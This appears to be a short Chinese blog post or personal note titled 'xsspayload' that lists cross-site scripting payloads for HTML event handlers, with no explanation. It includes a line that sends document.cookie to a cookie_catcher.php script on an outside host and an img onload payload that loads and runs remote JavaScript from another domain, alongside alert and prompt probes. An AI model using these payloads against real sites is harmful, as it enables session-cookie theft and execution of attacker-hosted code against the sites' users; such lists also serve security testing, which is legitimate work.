xsspayload

时间:2021-04-10 15:12:00

元素on事件:

prompt(document.cookie)

document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie

console.log(document.cookie)

alert(document.cookie)

<img src="xxx" onload="$.getScript`https://www.xxx.com/test.js`" whdth="50">

相关文章